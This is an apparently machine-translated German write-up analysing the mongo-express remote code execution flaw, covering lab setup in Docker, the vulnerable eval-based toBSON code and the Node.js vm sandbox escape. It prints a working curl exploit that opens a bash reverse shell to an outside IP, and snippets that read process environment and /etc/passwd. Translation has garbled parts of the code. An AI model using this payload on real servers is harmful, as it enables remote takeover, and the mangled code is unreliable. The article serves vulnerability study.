Heim > Artikel > Betrieb und Instandhaltung > Fallanalyse einer Sicherheitslücke bei Remotecodeausführung
mongo-express ist eine MongoDB Admin-Webverwaltungsschnittstelle, die mit NodeJS, Express und Bootstrap3 geschrieben wurde. Derzeit dürfte mongo-express die MongoDB-Admin-Management-Schnittstelle mit den meisten Sternen auf Github sein. Es ist einfach zu implementieren und einfach zu verwenden und ist für viele Menschen zur Wahl für die Verwaltung von Mongo geworden.
Beim Lesen des offiziellen GitHub-Sicherheitsbulletins haben wir festgestellt, dass die Schwachstelle alle Versionen unter 0.54.0 betrifft. Wählen Sie 0.49 als Beispiel zum Testen. Da diese Schwachstellenumgebung auch eine MongoDB-Datenbank erfordert, können wir sie schnell erstellen, indem wir den folgenden Docker-Befehl ausführen:
Erstellen Sie eine MongoDB-Datenbank<br>
docker run --name test - d mongo: 3.2
Erstellen Sie mongo-express, das die Schwachstelle enthält, und stellen Sie eine Verbindung zur obigen MongoDB-Datenbank her: <br>
docker run -d -p 8081:8081 --link test:mongo mongo-express:0.49
Sehen Sie sich das Protokoll an und bestätigen Sie, dass die Verbindung erfolgreich ist.
Hier ist ein Trick erforderlich. Wenn Sie nodejs debuggen möchten, müssen Sie beim Start den Parameter --inspect hinzufügen. Nehmen Sie die folgenden Änderungen am Docker-Startskript vor
docker restart 183
Verwenden Sie docker exec -it 183 bash, um eine Verbindung zu Docker herzustellen und zu überprüfen, ob der Debug-Dienst aktiviert ist
Öffnen Sie Port 9229 wie in gezeigt das Bild oben. Solange der externe Host eine Verbindung zum 9229-Port herstellen kann, können Sie das Chrome-Plug-In zum Debuggen verwenden. Sie können frp zum Weiterleiten des Ports verwenden oder den Docker-Parameter -p 9229:9229 zur Verarbeitung verwenden.
Mit dem Chrome-Plug-in können Sie NodeJS wie Javascript-Skripte debuggen, und es ist auch sehr bequem zu bedienen.
Laden Sie zuerst das Debug-Plug-in herunter
Öffnen Sie in Chrome:Inspect Chrome Devtools hat das Nodejs-Debugging im Mai 2016 unterstützt. Klicken Sie auf Dedizierte DevTools für Node öffnen
Konfigurieren Sie die Verbindungsadresse und den Port
Der nächste Schritt ähnelt dem Debuggen von js
Senden Sie ein Testpaket, der Routing-Zweig kann getrennt werden, und beginnen Sie dann mit dem Debuggen dieser Schwachstelle.
<br>
<br>
curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash -i > ;& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'
Das Schwachstellenprinzip dieses Debuggens ist relativ einfach. Die Kernschwachstelle ist der Befehl Spleißen ist die einfachste Form der Schwachstelle, deren Ausnutzung jedoch einen gewissen Aufwand erfordert, da die Sandbox-VM umgangen werden muss. Glücklicherweise verfügt NodeJS über eine Forschungsgrundlage für die VM-Umgehung. Schauen wir uns ohne weiteres den endgültigen Schwachstellencode an. String ist der Parameter von toBSON. BSON ist ein gängiges Datenformat in MongoDB und ein enger Verwandter von JSON, es gibt jedoch viele Unterschiede zum Datenformat von JSON. Allerdings müssen alle BSON-bezogenen Vorgänge in Mongo-Express, wie zum Beispiel das Erstellen eines neuen Dokuments (ähnlich wie Einfügevorgänge in anderen Datenbanken), die Funktion toBSON() durchlaufen.
Zum Beispiel die folgende Operation
Wenn der Codefluss bson.toBSON erreicht, wird die Auswertungsfunktion ausgelöst. Da NodeJS als Back-End-Sprache verwendet werden kann, wird die Auswertungsfunktion auf der Serverseite ausgeführt , was zu einer Befehlsinjektion führen und das System schädigen kann.
<br>
<br>
exp.checkValid = function (req, res) {var doc = req.body.document;try { bson.toBSON(doc);} Catch (err) { console.error(err); return res.send( 'Ungültig');}res.send('Valid'); };
<br>
exports.toBSON = Funktion (Zeichenfolge) { var sandbox = exports.getSandbox(); string = string.replace(/ISODate(/g, 'new ISODate('); string = string.replace(/Binary(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),'); vm.runInNewContext('doc = eval((' + string + '));', sandbox); return sandbox.doc;};
Laut Codequellenanalyse ist die Parameterzeichenfolge von toBSON das Dokument in req.body, sodass wir diesen Teil steuern können. Sie finden die Funktion vm.runInNewContext, bei der es sich um eine virtuelle Sandbox handelt. Daher werden wir im nächsten Abschnitt analysieren, wie der Sandbox-Schutz umgangen werden kann.
Eine Sandbox ist eine unabhängige Umgebung, die nicht vertrauenswürdigen Code sicher ausführen kann, ohne den tatsächlichen externen Code zu beeinträchtigen. Die Codeausführung ist in einer Sandbox häufig eingeschränkt. Das VM-Modul stellt eine API zum Kompilieren und Ausführen von Code im Kontext einer virtuellen VM-Maschine bereit. Verwenden Sie das VM-Modul, um Code in einer Sandbox-Umgebung auszuführen. Der laufende Code verwendet einen anderen V8-Kontext, das heißt, seine globalen Variablen unterscheiden sich von anderen Codes. Der Code in der Sandbox kann jedoch weiterhin auf den Node-Prozess zugreifen. Wir verwenden diese Methode oft zur Umgehung.
vm.js
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);console.log(xyz);
Sie können sehen, dass this.process.env die Prozessinformationen von nodejs erhalten hat, was zeigt, dass Sie zum Hauptprogramm zurückkehren können, um Systembefehle auszuführen.
In Javascript zeigt dies auf das Objekt, zu dem es gehört. Wenn wir es also verwenden, zeigt es bereits auf ein Objekt außerhalb des VM-Kontexts. Dann gibt der Konstruktor, der darauf zugreift, den Objektkonstruktor zurück, und der Konstruktor, der auf den Objektkonstruktor zugreift, gibt den Funktionskonstruktor zurück. Der Funktionskonstruktor ist wie die höchste Funktion in Javascript, die globalen Zugriff ermöglicht. Der Funktionskonstruktor ermöglicht die Generierung von Funktionen aus Strings und damit die Ausführung beliebigen Codes. Wir können es also nutzen, um zum Hauptprozess zurückzukehren. Wir können damit dann auf den Hauptprozess zugreifen und RCE durchführen.
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(`const Process = this.constructor.constructor('return this.process')() ; Process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);console.log(xyz);
Ähnlich kann auch die vm2-Funktion umgangen werden Lassen Sie uns jedoch lernen, indem wir uns auf den Originaltext beziehen: https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
Das obige ist der detaillierte Inhalt vonFallanalyse einer Sicherheitslücke bei Remotecodeausführung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!